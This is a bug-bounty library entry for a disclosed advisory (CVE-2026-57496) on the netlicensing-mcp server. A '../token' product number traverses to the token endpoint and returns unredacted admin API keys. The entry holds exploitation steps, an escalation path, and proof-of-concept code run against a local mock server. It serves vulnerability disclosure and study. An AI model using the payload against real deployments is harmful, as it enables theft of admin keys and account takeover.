# netlicensing-mcp: REST Path Traversal Bypasses Token Redaction

netlicensing_get_product interpolates product_number into the REST path; '../token' normalizes to /token and returns unredacted admin APIKEY values.

- Payout: Research
- Severity: critical
- Program: NetLicensing-MCP
- Found by: EQSTLab, yym8538
- Disclosed: 2026-06-18
- CVE: CVE-2026-57496
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-hxpf-9xvq-wph8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-hxpf-9xvq-wph8
- Tags: area:ai domain:ai impact:data-leak impact:privesc kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:access-control vuln:info-disclosure vuln:path-traversal

**Target:** MCP tool netlicensing_get_product / NetLicensing REST client
**Root cause:** Caller-controlled product_number is interpolated into the REST path without validation, and httpx WHATWG normalization collapses /product/../token to /token. The response is wrapped by the generic _wrap_json instead of _wrap_json_token_read, so token-specific redaction never runs.
**Steps:**
1. Call the MCP tool with `netlicensing_get_product("../token")`.
2. products.py builds path `f"/product/{product_number}"` => `/product/../token`.
3. client.py sets `url = f"{BASE_URL}{path}"`; httpx normalizes to `{BASE_URL}/token` and sends GET to the token endpoint.
4. server.py wraps the response via `_wrap_json(entity, "Product")`, skipping `_wrap_json_token_read`/`redact_token_read`.
5. Read plaintext APIKEY `number` and SHOP `shopURL` from the tool output (also embedded in console_url).
**How found:** Code review of the tool's string interpolation into the REST path combined with knowledge of httpx WHATWG URL normalization; noticed the response wrapper differed from the token read tools' redaction path.
**Exploitation:** An authenticated MCP client holding any valid NetLicensing API key calls netlicensing_get_product('../token'); the request lands on /core/v2/rest/token and the unredacted token list is returned, exposing admin APIKEY values that grant full read/write/delete over the account.
**Escalation:** Recovered ROLE_APIKEY_ADMIN token escalates a scoped MCP client to full account owner privileges.
**Insight:** When an MCP/API wrapper builds URLs by string interpolation, test `../` payloads against the HTTP client's URL normalizer — and check whether the response serializer differs from the one used by the legitimate sensitive endpoint, since redaction is often bound to the wrapper, not the data.

## Proof of concept (copied exactly from the original report)

**PoC calling get_product with ../token**

```
async def main():
    import netlicensing_mcp.client as c
    c.BASE_URL = f"http://127.0.0.1:{srv.server_port}/core/v2/rest"
    tok = c.api_key_ctx.set("dummy")
    try:
        from netlicensing_mcp.server import netlicensing_get_product
        out = await netlicensing_get_product("../token")
        print("UPSTREAM_PATH=" + seen[0])
        print("SECRET_LEAKED=" + str(secret in out))
        print(out)
    finally:
        c.api_key_ctx.reset(tok)
        await c.close_client()
        srv.shutdown()

asyncio.run(main())
PY
```

**poc.py exploit invoking traversal payload**

```
result: str = await netlicensing_get_product("../token")

        upstream_path = seen_paths[0] if seen_paths else "(none received)"
        path_traversal_ok = upstream_path == "/core/v2/rest/token"
        secret_in_output = SECRET_APIKEY in result

        print(f"UPSTREAM_PATH={upstream_path}")
        print(f"PATH_TRAVERSAL_OK={path_traversal_ok}")
        print(f"SECRET_LEAKED={secret_in_output}")
        print()
        print("=== MCP tool output (netlicensing_get_product('../token')) ===")
        print(result)
        print("=== end ===")

        if path_traversal_ok and secret_in_output:
            print()
            print(
                "[PASS] VULN-001 CONFIRMED: path traversal reached /token endpoint "
                f"and plaintext secret '{SECRET_APIKEY}' is present in MCP output"
            )
        else:
            if not path_traversal_ok:
                print(
                    f"[FAIL] Path traversal did not work: upstream_path={upstream_path!r}, "
                    "expected /core/v2/rest/token"
                )
            if not secret_in_output:
                print(
                    f"[FAIL] Secret '{SECRET_APIKEY}' not found in MCP output — "
                    "redaction may have been applied unexpectedly"
                )

        return path_traversal_ok and secret_in_output
```

**Docker reproduction command**

```
docker build -t netlicensing-vuln-001 \
  -f vuln-001/Dockerfile \
  reports/pypiAi_1561_Labs64__NetLicensing-MCP/

# Run — exit code 0 confirms the vulnerability
docker run --rm netlicensing-vuln-001
```

